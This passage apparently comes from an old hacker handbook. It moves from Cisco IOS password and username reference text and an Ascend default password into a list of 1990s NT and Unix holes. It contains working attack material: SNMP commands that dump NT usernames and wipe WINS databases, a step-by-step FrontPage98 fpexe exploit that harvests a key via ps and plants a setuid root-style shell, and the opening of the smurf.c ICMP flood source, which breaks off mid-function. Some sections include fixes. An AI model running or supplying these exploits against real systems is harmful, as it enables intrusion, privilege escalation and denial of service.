  8969. No encryption 
  8970. Command Mode
  8971. Global configuration 
  8972. Usage Guidelines
  8973. This command first appeared in Cisco IOS Release 10.0. 
  8974. The actual encryption process occurs when the current configuration is written or when a 
  8975. password is configured. Password encryption is applied to all passwords, including authentication 
  8976. key passwords, the privileged command password, console and virtual terminal line access 
  8977. passwords, and BGP neighbor passwords. This command is primarily useful for keeping 
  8978. unauthorized individuals from viewing your password in your configuration file. 
  8979. When password encryption is enabled, the encrypted form of the passwords is displayed when a 
  8980. show startup-config command is entered. Caution This command does not provide a high level 
  8981. of network security. If you use this command, you should also take additional network security 
  8982. measures. 
  8983.  
  8984. Note You cannot recover a lost encrypted password. You must clear NVRAM and set a new 
  8985. password. 
  8986.  
  8987. Example
  8988. The following example causes password encryption to take place: 
  8989. service password-encryption
  8990. Related Commands
  8991. A dagger (å) indicates that the command is documented outside this chapter. 
  8992. enable password 
  8993. key-string å 
  8994. neighbor password å 
  8995.  
  8996. [12.8.6] show privilege 
  8997. To display your current level of privilege, use the show privilege EXEC command. 
  8998. show privilege 
  8999. Syntax Description
  9000. This command has no arguments or keywords. 
  9001. Command Mode 
  9002. EXEC 
  9003. Usage Guidelines
  9004. This command first appeared in Cisco IOS Release 10.3. 
  9005. Sample Display
  9006. The following is sample output from the show privilege command. The current privilege level is 
  9007. 15. 
  9008. Router# show privilege
  9009. Current privilege level is 15
  9010. Related Commands
  9011. enable password level 
  9012. enable secret level 
  9013.  
  9014. [12.8.7] username 
  9015. To establish a username-based authentication system, enter the username global configuration 
  9016. command. 
  9017. username name {nopassword | password password [encryption-type encrypted-password]} 
  9018. username name password secret 
  9019. username name [access-class number] 
  9020. username name [autocommand command] 
  9021. username name [callback-dialstring telephone-number] 
  9022. username name [callback-rotary rotary-group-number] 
  9023. username name [callback-line [tty] line-number [ending-line-number]] 
  9024. username name [nocallback-verify] 
  9025. username name [noescape] [nohangup] 
  9026. username name [privilege level] 
  9027. Syntax Description
  9028. name     Host name, server name, user ID, or command name. The name argument can be only 
  9029. one word. White spaces and quotation marks are not allowed.     
  9030. nopassword     No password is required for this user to log in. This is usually most useful in 
  9031. combination with the autocommand keyword.     
  9032. password     Specifies a possibly encrypted password for this username.     
  9033. password     Password a user enters.     
  9034. encryption-type     (Optional) Single-digit number that defines whether the text immediately following 
  9035. is encrypted, and, if so, what type of encryption is used. Currently defined encryption types are 0, 
  9036. which means that the text immediately following is not encrypted, and 7, which means that the 
  9037. text is encrypted using a Cisco-defined encryption algorithm.     
  9038. encrypted password     Encrypted password a user enters.     
  9039. password     (Optional) Password to access the name argument. A password must be from 1 
  9040. to 25 characters, can contain embedded spaces, and must be the last option specified in the 
  9041. username command.     
  9042. secret     For CHAP authentication: specifies the secret for the local router or the remote device. 
  9043. The secret is encrypted when it is stored on the local router. The secret can consist of any string 
  9044. of up to 11 ASCII characters. There is no limit to the number of username and password 
  9045. combinations that can be specified, allowing any number of remote devices to be authenticated.     
  9046. access-class     (Optional) Specifies an outgoing access list that overrides the access list 
  9047. specified in the access-class line configuration command. It is used for the duration of the user's 
  9048. session.     
  9049. number     Access list number.     
  9050. autocommand     (Optional) Causes the specified command to be issued automatically after the 
  9051. user logs in. When the command is complete, the session is terminated. Because the command 
  9052. can be any length and contain embedded spaces, commands using the autocommand keyword 
  9053. must be the last option on the line.     
  9054. command     The command string. Because the command can be any length and contain 
  9055. embedded spaces, commands using the autocommand keyword must be the last option on the 
  9056. line.     
  9057. callback-dialstring     (Optional) For asynchronous callback only: permits you to specify a 
  9058. telephone number to pass to the DCE device.     
  9059. telephone-number     For asynchronous callback only: telephone number to pass to the DCE 
  9060. device.     
  9061. callback-rotary     (Optional) For asynchronous callback only: permits you to specify a 
  9062. rotary group number. The next available line in the rotary group is selected.     
  9063. rotary-group-number     For asynchronous callback only: integer between 1 and 100 that 
  9064. identifies the group of lines on which you want to enable a specific username for callback.     
  9065. callback-line     (Optional) For asynchronous callback only: specific line on which you enable a 
  9066. specific username for callback.     
  9067. tty     (Optional) For asynchronous callback only: standard asynchronous line.     
  9068. line-number     For asynchronous callback only: relative number of the terminal line (or the first 
  9069. line in a contiguous group) on which you want to enable a specific username for callback. 
  9070. Numbering begins with zero.     
  9071. ending-line-number     (Optional) Relative number of the last line in a contiguous group on 
  9072. which you want to enable a specific username for callback. If you omit the keyword (such as tty), 
  9073. then line-number and ending-line-number are absolute rather than relative line numbers.     
  9074. nocallback-verify     (Optional) Authentication not required for EXEC callback on the specified 
  9075. line.     
  9076. noescape     (Optional) Prevents a user from using an escape character on the host to which 
  9077. that user is connected.     
  9078. nohangup     (Optional) Prevents the security server from disconnecting the user after an 
  9079. automatic command (set up with the autocommand keyword) has completed. Instead, the user 
  9080. gets another login prompt.     
  9081. privilege     (Optional) Sets the privilege level for the user.     
  9082. level     (Optional) Number between 0 and 15 that specifies the privilege level for the user.     
  9083. Default
  9084. None 
  9085. Command Mode
  9086. Global configuration 
  9087. Usage Guidelines
  9088. The following commands first appeared in Cisco IOS Release 10.0: 
  9089. username name {nopassword | password password [encryption-type encrypted-password]} 
  9090. username name password secret 
  9091. username name [access-class number] 
  9092. username name [autocommand command] 
  9093. username name [noescape] [nohangup] 
  9094. username name [privilege level] 
  9095. The following commands first appeared in Cisco IOS Release 11.1: 
  9096. username name [callback-dialstring telephone-number] 
  9097. username name [callback-rotary rotary-group-number] 
  9098. username name [callback-line [tty] line-number [ending-line-number]] 
  9099. username name [nocallback-verify] 
  9100. The username command provides username and/or password authentication for login purposes 
  9101. only. (Note that it does not provide username and/or password authentication for enable mode 
  9102. when the enable use-tacacs command is also configured.) 
  9103. Multiple username commands can be used to specify options for a single user. 
  9104. Add a username entry for each remote system that the local router communicates with and 
  9105. requires authentication from. The remote device must have a username entry for the local router. 
  9106. This entry must have the same password as the local router's entry for that remote device. 
  9107. This command can be useful for defining usernames that get special treatment. For example, you 
  9108. can use this command to define an "info" username that does not require a password, but 
  9109. connects the user to a general purpose information service. 
  9110. The username command is required as part of the configuration for the Challenge Handshake 
  9111. Authentication Protocol (CHAP). Add a username entry or each remote system the local router 
  9112. requires authentication from. 
  9113.  
  9114. Note To enable the local router to respond to remote CHAP challenges, one username name 
  9115. entry must be the same as the hostname name entry that has already been assigned to your 
  9116. router. 
  9117.  
  9118. If there is no secret specified and the debug serial-interface command is enabled, an error is 
  9119. displayed when a link is established and the CHAP challenge is not implemented. CHAP 
  9120. debugging information is available using the debug serial-interface and debug serial-packet 
  9121. commands. For more information about debug commands, refer to the Debug Command 
  9122. Reference. 
  9123. Examples
  9124. To implement a service similar to the UNIX who command, which can be entered at the login 
  9125. prompt and lists the current users of the router, the username command takes the following form: 
  9126.  
  9127. username who nopassword nohangup autocommand show users
  9128. To implement an information service that does not require a password to be used, the command 
  9129. takes the following form: 
  9130. username info nopassword noescape autocommand telnet nic.ddn.mil
  9131. To implement an ID that works even if the TACACS servers all break, the command takes the 
  9132. following form: 
  9133. username superuser password superpassword
  9134. The following example configuration enables CHAP on interface serial 0. It also defines a 
  9135. password for the local server, Adam, and a remote server, Eve. 
  9136. hostname Adam
  9137.  
  9138. interface serial 0
  9139.  
  9140. encapsulation ppp
  9141.  
  9142. ppp authentication chap
  9143.  
  9144. username Adam password oursystem
  9145.  
  9146. username Eve password theirsystem
  9147.  
  9148. When you look at your configuration file, the passwords will be encrypted and the display will look 
  9149. similar to the following: 
  9150. hostname Adam
  9151.  
  9152. interface serial 0
  9153.  
  9154. encapsulation ppp
  9155.  
  9156. ppp authentication chap
  9157.  
  9158. username Adam password 7 1514040356
  9159.  
  9160. username Eve password 7 121F0A18
  9161. Related Commands
  9162. A dagger (å) indicates that the command is documented outside this chapter. Two daggers (åå) 
  9163. indicate that the command is documented in the Debug Command Reference. 
  9164. arap callback å 
  9165. callback-forced-wait å 
  9166. debug callback åå 
  9167. ppp callback å 
  9168.  
  9169. [12.8.8] A Word on Ascend Routers
  9170.  
  9171. Ascend routers or ok, but theyÆre not as powerful or as configurable as Cisco. So we will not 
  9172. spend as much time on them. Actually we will not spend any time on themàThe only thing we 
  9173. will say is that unless an Administrator changes the password.. the default password on an 
  9174. Ascend is either blank or ascend.
  9175.  
  9176. [13.0.0] Known NT/95/IE Holes
  9177.  
  9178. [13.0.1] WINS port 84
  9179.  
  9180. Found by NeonSurge (rhino9 team)
  9181.  
  9182. This is not a critical bug. Its actually more of a nuissance than anything else. If you telnet or 
  9183. stream data to port84 of an NT server, it will cause an error to be recorded in the event long. In 
  9184. some systems, this can cause the hard drive to completely fill up with error messages, causing 
  9185. other applications to fail due to lack of drive space. The flaw will also cause the server to respond 
  9186. extremely slow.
  9187.  
  9188. For the telnet attack, simply telnet to the WINS port on an NT server and type on garbage 
  9189. characters, hit enter and it will cause the event log entry.
  9190.  
  9191. The same effect was achieved by using an application called pepsi to stream UDP informaiton to 
  9192. the same port.
  9193.  
  9194. [13.0.2] WindowsNT and SNMP
  9195.  
  9196. Found by Christopher Rouland (from ntsecurity.net)
  9197.  
  9198. Christopher writes:
  9199.  
  9200. I have found two significant "features" in the SNMP agent implementations under NT 4.0 Server, 
  9201. and I am sure there are more if I feel like really digging. The first issue I sent in earlier this year to 
  9202. Microsoft and received no response other than "expected behavior" and the second I just found 
  9203. and puts any large NT shop at a serious denial of service (DOS) risk.
  9204.  
  9205. 1. This first exploit demonstrates the ability via SNMP to dump a list of all usernames in an NT 
  9206. domain (assuming the target box is a DC) or on an NT Server.
  9207. Here is the simplest NT example I could find to use this:
  9208. C:\NTRESKIT>snmputil walk public .1.3.6.1.4.1.77.1.2.25
  9209. should be a domain controller or server
  9210. 2.The second exploit demonstrates the ability via SNMP to delete all of the records in a WINS 
  9211. database remotely, bypassing all NT security. If you understand large scale WINS 
  9212. architecture, you can understand the implications of this. Knowledge of SNMP community 
  9213. strings would allow an attacker to effectively shut down any large NT infrastructure with "N" 
  9214. commands (N=number of WINS servers). This is permitted due to the extensive "cmd" set 
  9215. implemented in the WINS extension agent, specifically:
  9216.  
  9217. 2. cmdDeleteWins OBJECT-TYPE
  9218. SYNTAX IpAddress
  9219. ACCESS read-write
  9220. STATUS mandatory
  9221. DESCRIPTION
  9222. "This variable when set will cause all information pertaining to a WINS (data records, context 
  9223. information to be deleted from the local WINS. Use this only when owner-address mapping 
  9224. tables getting to near capacity. NOTE: deletion of all information pertaining to the managed 
  9225. WINS is not permitted"
  9226. ::= { cmd 3 }
  9227. Since the SNMP toolset implemented under NT will not do snmp-set-requests, my sample 
  9228. exploit was done using the CMU SNMP development kit under Unix. The command 
  9229. "rnjdev02:~/cmu$ snmpset -v 1 192.178.16.2 public .1.3.6.1.4.1.311.1.2.5.3.0 a 
  9230. 192.178.16.2" successfully entirely deleted my WINS database.
  9231.  
  9232. 3. It appears that there are several other pieces of the LMMIB2 definition that allow for things 
  9233. such as remote session deletion or disconnect, etc, but I have not yet looked into them.
  9234.  
  9235. 4. Stopping the Problem:
  9236. The simplest fix is to disable SNMP, or to remove the extension agents through the SNMP 
  9237. configuration in the registry.
  9238. If you MUST use SNMP, then at least block inbound access to that port. Be aware that using 
  9239. NT's various SNMP agents, a malicious intruder could gain knowledge about your entire 
  9240. network. In fact, they could quite easily gain everything they need to enter your network, 
  9241. except a password -- and those come in due time. BEWARE.
  9242.  
  9243. [13.0.3] Frontpage98 and Unix
  9244.  
  9245. Found by Marc Slemko (from netsecurity.net)
  9246.  
  9247. The attack was described most adequated by the discoverer:
  9248. Change History
  9249. Sat Oct 11 1997: Initial posting of web page
  9250. Wed Oct 15 1997: Microsoft posted a note responding to the issues raised. I am glad to see that 
  9251. they have plans to release the source of the revised version for review when it is complete. I will 
  9252. update this page with further comments when the fixed version is released.
  9253. Wed Oct 22 1997: Microsoft has released a new version of the extensions that claim to fix the 
  9254. security issues. I will comment further on the security of their proposed fix after I have time to 
  9255. review the changes. Check back here in a few days for my comments.
  9256. Introduction
  9257. The information below talks about using Microsoft's FrontPage 98 extensions with Apache on 
  9258. Unix with Microsoft's mod_frontpage changes. This do not apply to running it on any other server 
  9259. or to running it on Unix without the Microsoft mod_frontpage changes or to running it on Windows 
  9260. NT. There are, however, other security issues on such servers, some of which are similar to 
  9261. those in the FrontPage 97 extensions. I should also note that the Unix server extensions seem to 
  9262. be written in part or completely by Ready-to-Run Software Inc. (RTR) for Microsoft. I will refer to it 
  9263. as Microsoft's product because it is, no matter who wrote it. This discussion is specific to the 
  9264. FrontPage 98 extensions. For more general information on some security problems in earlier 
  9265. versions, some of which are resolved and some of which aren't, see Scott Fritchie's Why I Don't 
  9266. Like Microsoft's FrontPage Web Authoring Tool web page. Parts of it are no longer entirely 
  9267. relevant, but it provides a good background.
  9268. It is no secret that the security of the FrontPage 97 and earlier Unix server extensions is quite 
  9269. poor, if Microsoft's instructions are followed. Some of their instructions were quite hilarious when 
  9270. first released, like the suggestion of running your web server as root. It is possible to make them 
  9271. more acceptable--acceptable enough for some sites--but it requires careful work by the 
  9272. administrator.
  9273. It had appeared like Microsoft had increased the security of the extensions in the FP98 version 
  9274. available from Microsoft's Web Site. However, a closer examination reveals startling flaws. What 
  9275. they have done is make a small setuid root wrapper that the web server calls. This wrapper than 
  9276. setuid()s to the appropriate user and runs the requested FP CGI as that user. The problem lies in 
  9277. the fact that the wrapper ("fpexe") is written very poorly. while making such a wrapper secure can 
  9278. be difficult, the gaping holes in this program show a complete lack of understanding of security in 
  9279. the Unix environment.
  9280. The fpexe program is available for you to inspect yourself. It was originally posted in RTR's 
  9281. FrontPage FAQ. This version is not exactly the same as the one currently distributed (at least it is 
  9282. not the same as the one in the BSD/OS 2.1 kit), but it is close. Both appear to exhibit the same 
  9283. failings.
  9284. When I refer to the FP CGI programs, I am referring to the three files normally referenced under 
  9285. the _vti_bin directory: shtml.exe, admin.exe and author.exe.
  9286. The key in this discussion is the fact that nothing is stopping anyone from trying to run this fpexe 
  9287. wrapper. If they can trick it into running, they can possible gain privileges they shouldn't.
  9288. How It Works
  9289. Before you can understand the holes in the FP server extensions, you need to understand what I 
  9290. mean when I talk about the "key". When the Frontpage-modified Apache server starts up, it 
  9291. generates a pseudo-random string of 128 ASCII characters as a key. This key is written to a file 
  9292. that is only readable by the user that starts Apache; normally root. The server than passes the 
  9293. key to fpexe. Since fpexe is setuid root, it can compare the key stored on disk with the one it was 
  9294. passed to be sure they match; if not, it refuses to run. This is used in an attempt to guarantee that 
  9295. the only thing calling fpexe is the web server. Used properly this is a powerful part of possible 
  9296. security precautions. I am not convinced that the generation of the key is cryptographically 
  9297. adequate and it may be subject to intelligent guessing attacks, however I have not looked at it to 
  9298. see. As discussed later, the cryptographical robustness of the key doesn't really matter.
  9299. There are a number of problems with the setuid root fpexe program. I am not attempting a 
  9300. complete description of all the problems and their possible consequences and fixes, just making a 
  9301. light sweep over the top. The more obvious problems include:
  9302. Return codes from library calls are not properly checked. An example:
  9303. f = fopen( buf, "r");
  9304. fgets( key, 129, f );
  9305. fclose(f);
  9306. If fopen() failed (easy to make it do so with ulimit -n), then if your system did not core dump on a 
  9307. fgets() on a closed descriptor you would end up with an empty key. It is obviously easy to guess 
  9308. an empty key. I am not aware of any systems that exhibit this exact problem, but it is possible. 
  9309. Return codes need to be checked, especially in setuid programs.
  9310. Proper bounds checking is not done. This leads to obvious buffer overflows. An example:
  9311. strcpy( work, FPDIR );
  9312. strcat( work, getenv("FPEXE") );
  9313. I won't go into the details of what this does, but if you could cause this code to be executed, you 
  9314. could insert your own code on most systems and likely gain access to the UID the program is 
  9315. running as (root). This proves to be an unnecessary effort to go to, because this code is only 
  9316. executed if you have the correct key; if you have the correct key, there are far easier ways to gain 
  9317. access. Buffer overflows are one of the most popular (albeit normally boring) types of new holes 
  9318. in programs being publicized.
  9319. It does not clean the environment variables before starting the CGI. Again, this means you can 
  9320. gain access to the UID that the program runs as (not root). If the rest of the program was securely 
  9321. written, this could possibly be an issue however it is of little consequence currently due to the 
  9322. gaping holes in other areas.
  9323. It assumes that if you have the key, then you are authorized to have it run any program as nearly 
  9324. any user you tell it to. The process you are running also needs to be in the same process group 
  9325. as the web server; all CGIs run by the server, however, are in the same process group so if you 
  9326. can run a CGI script you can work around the second check. It does no further checks to be sure 
  9327. you are running as a user that should be allowed to run FrontPage CGIs (other than disallowing 
  9328. UID 0; the compiled version also disallows gid 0, however the source version doesn't) or that you 
  9329. are running a Frontpage related program. This means that if you get the key file, you can gain 
  9330. access to any non-root UID on the server. On 99% of boxes, that will give you root. For example, 
  9331. if binaries are owned by bin then become bin and replace one that is run by root from cron. The 
  9332. possibilities are endless once you obtain this level of access.
  9333. And, finally, the worst: it passes the key to fpexe via an environment variable! On most systems, 
  9334. environment variables are available via "ps -e". This means that anyone with access to run 
  9335. programs on the system (and there are often more people than you think that are able to do this, 
  9336. due to things such as CGIs) can see it as it is being passed from the web server to fpexe. Recall 
  9337. that once you have the key, there is little remaining before you can get full access to the system.
  9338. Demonstration
  9339. By now, it should be obvious that there is a serious security problem in the FrontPage 98 server 
  9340. extensions. Here is one demonstration; do not think that this is the only way or that just because 
  9341. you prevent one step of this process from working it is any more difficult to exploit the security 
  9342. holes.
  9343. First I have to find the key. This can be done by using ps to get the environment from fpexe. To 
  9344. do this, I first setup a loop running (this assumes a real aka. Bourne shell; if you use the bastard 
  9345. C-shell it obviously won't work as written):
  9346. while true; do ps axuwwe -U nobody | grep FPKEY; done
  9347. Then I used ZeusBench, a very simple HTTP benchmark program, to generate load on the 
  9348. server:
  9349. zb localhost /fp/_vti_bin/shtml.exe -c 50 -t 30
  9350. Any method of generating traffic could be used, including a web browser. Since I am using a very 
  9351. inefficient method of looking for a process, I need to generate lots of traffic to increase my chance 
  9352. of finding one. It certainly isn't likely to happen on the first request. The requests do have to be 
  9353. made to a FP CGI script so it will call fpexe.
  9354. Before long, I had what I wanted from ps (manually wrapped):
  9355. nobody 28008 0.0 0.2 180 76 ?? DN 6:51PM 0:00.01
  9356. SCRIPT_URL=/fp/ SCRIPT_URI=http://localhost/fp/ FPUID=1000 FPGID=1000
  9357. FPEXE=/_vti_bin/shtml.exe FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E77
  9358. 3FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1
  9359. 049CD
  9360. F760364E59 HTTP_USER_AGENT=ZeusBench/1.0 HTTP_ACCEPT=*/*
  9361. PATH=/sbin:/usr/sbin:/bin:/usr/local/bin:/usr/bin:/usr/local/sbin/
  9362. SERVER_SOFTWARE=Apache/1.2.5-dev SERVER_NAME=localhost SERVER_PORT=80
  9363. REMOTE_HOST=localhost REMOTE_ADDR=127.0.0.1
  9364. DOCUMENT_ROOT=/usr/local/etc/httpd/htdocs SERVER_ADMIN=marcs@znep.com
  9365. SCRIPT_FILENAME=/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe
  9366. REMOTE_PORT=2849 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.0
  9367. REQUEST_METHOD=GET QUERY_STRING= REQUEST_URI=/fp/_vti_bin/shtml.exe
  9368. SCRIPT_NAME=/fp/_vti_bin/shtml.exe fpexe
  9369. Then I need to use the key to make fpexe think I am the web server. I can't just run this from a 
  9370. normal shell, since I need to be in the same process group as the web server. A simple CGI 
  9371. suffices:
  9372. #!/bin/sh
  9373. echo Content-type: text/plain
  9374. echo
  9375. export FPUID=3;
  9376. export FPGID=3;
  9377. export FPEXE=../../../../../../../../tmp/gotcha;
  9378. export 
  9379. FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E773FAB70794848FDEFB173
  9380. FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CDF760364E59
  9381. /usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe 2>&1
  9382.  
  9383. I need a program for it to run (/tmp/gotcha in this example):
  9384. #!/bin/sh
  9385. /usr/bin/id
  9386. cp /bin/sh /tmp/.mysh
  9387. chmod u+s /tmp/.mysh
  9388. Then I simply make a HTTP request for the CGI script. I can then run /tmp/.mysh at my leisure to 
  9389. gain access to UID 3 (bin on my system) and do what I want from there.
  9390. Stopping the Problem:
  9391. Load the new extensions from here. So now you want to fix it. Well. That's the hard part. The only 
  9392. real solution is for someone (either Microsoft or a third party) to do some work to improve the 
  9393. security. It is possible to do this securely. Microsoft hasn't. They have no excuse. This page will 
  9394. be updated when (if?) better fixes become available.
  9395. The Apache web server has a suEXEC wrapper designed to allow for a similar thing; that is, 
  9396. execution of CGI scripts under a user's own UID. It is very restrictive (some would say anal) 
  9397. about what it allows: there is a reason for that, as Microsoft's obviously failed attempt at security 
  9398. shows. It is possible that suEXEC could be adapted to function in conjunction with FrontPage, 
  9399. however it will not work without source modifications.
  9400. One short term workaround until Microsoft addresses the issue is to simply remove the 
  9401. FrontPage setup from your system. This can be done temporarily by removing the setuid bit from 
  9402. fpexe (ie. chmod u-s fpexe). This will prevent all the pretty FrontPage CGIs from working. It will 
  9403. prevent people from uploading new pages using FrontPage's own methods (ie. they can tell 
  9404. FrontPage to use FTP and they will still be uploaded), but generic content that doesn't rely on 
  9405. FrontPage's server side CGI scripts should work fine.
  9406. Another possible workaround is to prevent users from running the ps command. This could have 
  9407. a very negative impact on your system if things depend on it, and is a poor solution however it 
  9408. may be the best one for you. On systems that don't use a procfs (/proc) based ps, you can 
  9409. normally simply remove world execute permissions from it to disable it. If you are on a system like 
  9410. Linux that normally uses a procfs for ps to get information, this doesn't solve the problem 
  9411. because someone can read from the procfs directly.
  9412. Last of all, since this problem only occurs when using FrontPage with the mod_frontpage 
  9413. extensions, it is possible to use the FrontPage extensions on Apache without using 
  9414. mod_frontpage or fpexe. Unfortunately, this conversion is not easy. It means that, after 
  9415. recompiling Apache without any of the Microsoft modifications (just commenting out 
  9416. mod_frontpage from the Configuration file may be enough; haven't checked) you have to either 
  9417. manually copy the FrontPage CGIs to the appropriate subdirectory under each user's web 
  9418. directory and make them setuid to that user or copy them (or make links) and don't make them 
  9419. setuid to that user. The former preserves the current ownership. With the latter all the user's web 
  9420. files will need to be changed back to being owned by the user the web server runs as or else they 
  9421. will be unable to manipulate them and some of the FP CGIs won't run correctly. This is a pain and 
  9422. brings you back to the horrible security practice of letting anyone who can run CGIs modify any 
  9423. FrontPage user's files. Although this may be the best temporary workaround (although quite 
  9424. annoying if you have a large number of users), I can not go into step by step details of how to 
  9425. accomplish this change because I am not fully familiar with various ways of using the FrontPage 
  9426. extensions. The Microsoft FP security considerations document (part of the FP98 Server 
  9427. Extensions Resource Kit) provides some more details of the method in which the CGIs are run 
  9428. without fpexe.
  9429. Comments:
  9430. This sort of continued disregard for security is unacceptable and inexcusable. It does not take 
  9431. significant knowledge to know that some of the things being done are flawed. If internal expertise 
  9432. is not available, an external consultant should be hired for a security review of any critical code 
  9433. such as fpexe. This is not rocket science nor is it particularily advanced programming. Nothing 
  9434. that I have described above is complicated or new. Code reviews are common practice in many 
  9435. companies and serve good purpose.
  9436. Once Microsoft fixes their glaring holes, assuming they do, I would suggest you should consider if 
  9437. you want to run their FrontPage extensions at all. Even though, once fpexe is properly fixed, you 
  9438. only risk the accounts of users using FrontPage (since that is who the FrontPage CGI scripts run 
  9439. as), that can be a significant risk. It is very possible that when someone gets bored they will find a 
  9440. hole in the FrontPage CGI scripts that gives them user level access to your system. And 
  9441. Microsoft doesn't (and isn't likely to in the future, if their past is any indication) give the source to 
  9442. those. Microsoft's own source speaks better for itself than anyone else ever could.
  9443. I have this nagging feeling that this will result in Microsoft coming out with a "fixed" version and 
  9444. not releasing the source to it at all. After all, it was only after the source came out that these flaws 
  9445. became a problem. Right? Wrong. This was a gaping hole waiting to be discovered. It would have 
  9446. almost certainly been discovered sooner or later regardless of source availability; better sooner 
  9447. than later. I certainly hope that Microsoft doesn't think the lesson in this is that source should not 
  9448. be released. It is insecure with or without the source. The FrontPage server extensions aren't 
  9449. going to find their way anywhere near any machines I control any time soon because I have no 
  9450. trust in the company behind them.
  9451. On a side note, Microsoft actually modifies the server name returned to clients when the 
  9452. FrontPage patches are installed in Apache to include "FrontPage/x.x.x". That is fine, however it 
  9453. gives anyone connecting to your server the ability to determine the chances of them being able to 
  9454. break into your system using holes in the FP server extensions.
  9455.  
  9456. [13.0.4] TCP/IP Flooding with Smurf
  9457.  
  9458. Found by TFreak (from ntsecurity.net)
  9459.  
  9460. The Problem
  9461. The smurf attack is quite simple. It has a list of broadcast addresses which it stores into an array, 
  9462. and sends a spoofed ICMP echo request to each of those addresses in series and starts again. 
  9463. The result is a devistating attack upon the spoofed IP. Depending on the amount of broadcast 
  9464. addresses used, many, many computers may respond to the echo request.
  9465. This attack can EASILY saturate a T1 circuit, rendering it completely useless.
  9466. HERE IS THE SMURF SOURCE CODE:
  9467. * $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $*
  9468. * spoofs icmp packets from a host to various broadcast addresses resulting
  9469. * in multiple replies to that host from a single packet.
  9470. * disclaimer:
  9471. * I cannot and will not be held responsible nor legally bound for the
  9472. * malicious activities of individuals who come into possession of this
  9473. * program and I refuse to provide help or support of any kind and do NOT
  9474. * condone use of this program to deny service to anyone or any machine.
  9475. * This is for educational use only. Please Don't abuse this.
  9476. * TFreak
  9477. */
  9478. #include <signal.h>
  9479. #include <stdio.h>
  9480. #include <stdlib.h>
  9481. #include <sys/socket.h>
  9482. #include <sys/types.h>
  9483. #include <netinet/in.h>
  9484. #include <netinet/ip.h>
  9485. #include <netinet/ip_icmp.h>
  9486. #include <netdb.h>
  9487. #include <ctype.h>
  9488. #include <arpa/inet.h>
  9489. #include <unistd.h>
  9490. #include <string.h>
  9491. void banner(void);
  9492. void usage(char *);
  9493. void smurf(int, struct sockaddr_in, u_long, int);
  9494. void ctrlc(int);
  9495. unsigned short in_chksum(u_short *, int);
  9496. /* stamp */
  9497. char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";
  9498. int main (int argc, char *argv[])
  9499. {
  9500. struct sockaddr_in sin;
  9501. struct hostent *he;
  9502. FILE *bcastfile;
  9503. int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
  9504. char buf[32], **bcastaddr = malloc(8192);
  9505. banner();
  9506. signal(SIGINT, ctrlc);
  9507. if (argc < 6) usage(argv[0]);
  9508. if ((he = gethostbyname(argv[1])) == NULL) {
  9509. perror("resolving source host");
  9510. exit(-1);
  9511. }
  9512. memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
  9513. sin.sin_family = AF_INET;
  9514. sin.sin_port = htons(0);
  9515. num = atoi(argv[3]);
  9516. delay = atoi(argv[4]);
  9517. pktsize = atoi(argv[5]);
  9518. if ((bcastfile = fopen(argv[2], "r")) == NULL) {
  9519. perror("opening bcast file");
  9520. exit(-1);
  9521. }
  9522. x = 0;
  9523. while (!feof(bcastfile)) {
  9524. fgets(buf, 32, bcastfile);
  9525. if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
  9526. for (i = 0; i < strlen(buf); i++)
  9527. if (buf[i] == '\n') buf[i] = '\0';
  9528. bcastaddr[x] = malloc(32);
  9529. strcpy(bcastaddr[x], buf);
  9530. x++;
  9531. }
  9532. bcastaddr[x] = 0x0;
  9533. fclose(bcastfile);
  9534. if (x == 0) {
  9535. fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
  9536. exit(-1);
  9537. }
  9538. if (pktsize > 1024) {
  9539. fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
  9540. exit(-1);
  9541. }
  9542. if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  9543. perror("getting socket");
  9544. exit(-1);
  9545. }
  9546. setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));
  9547. printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
  9548. for (i = 0; i < num || !num; i++) {
  9549. if (!(i % 25)) { printf("."); fflush(stdout); }
  9550. smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
  9551. cycle++;
  9552. if (bcastaddr[cycle] == 0x0) cycle = 0;
  9553. usleep(delay);
  9554. }
  9555. puts("\n\n");
  9556. return 0;
  9557. }
  9558. void banner (void)
  9559. {
  9560. puts("\nsmurf.c v4.0 by TFreak\n");
  9561. }
  9562. void usage (char *prog)
  9563. {
  9564. fprintf(stderr, "usage: %s "
  9565. " \n\n"
  9566. "target = address to hit\n"
  9567. "bcast file = file to read broadcast addresses from\n"
  9568. "num packets = number of packets to send (0 = flood)\n"
  9569. "packet delay = wait between each packet (in ms)\n"
  9570. "packet size = size of packet (< 1024)\n\n", prog);
  9571. exit(-1);
  9572. }
  9573. void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
  9574. {
  9575. struct iphdr *ip;
  9576. struct icmphdr *icmp;
  9577. char *packet;
  9578. packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  9579. ip = (struct iphdr *)packet;
  9580. icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
  9581. memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  9582. ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  9583. ip->ihl = 5;
  9584. ip->version = 4;
  9585. ip->ttl = 255;
  9586. ip->tos = 0;
  9587. ip->frag_off = 0;
  9588. ip->protocol = IPPROTO_ICMP;
  9589. ip->saddr = sin.sin_addr.s_addr;
  9590. ip->daddr = dest;
  9591. ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
  9592. icmp->type = 8;
  9593. icmp->code = 0;
  9594. icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);
  9595.  
